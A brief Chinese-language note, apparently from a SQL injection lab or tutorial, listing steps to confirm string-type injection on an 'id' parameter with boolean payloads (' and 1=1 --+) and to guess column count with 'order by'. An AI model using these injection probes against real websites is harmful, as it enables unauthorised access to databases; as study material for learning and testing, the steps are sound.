1.id=1asdas 页面返回正常,说明不是数字型 2. ?id=1' and 1=1 --+ 正常 3. ?id=1' and 1=2--+ 报错,确定存在字符型注入 4. 猜解列数?id=1' order by 4--+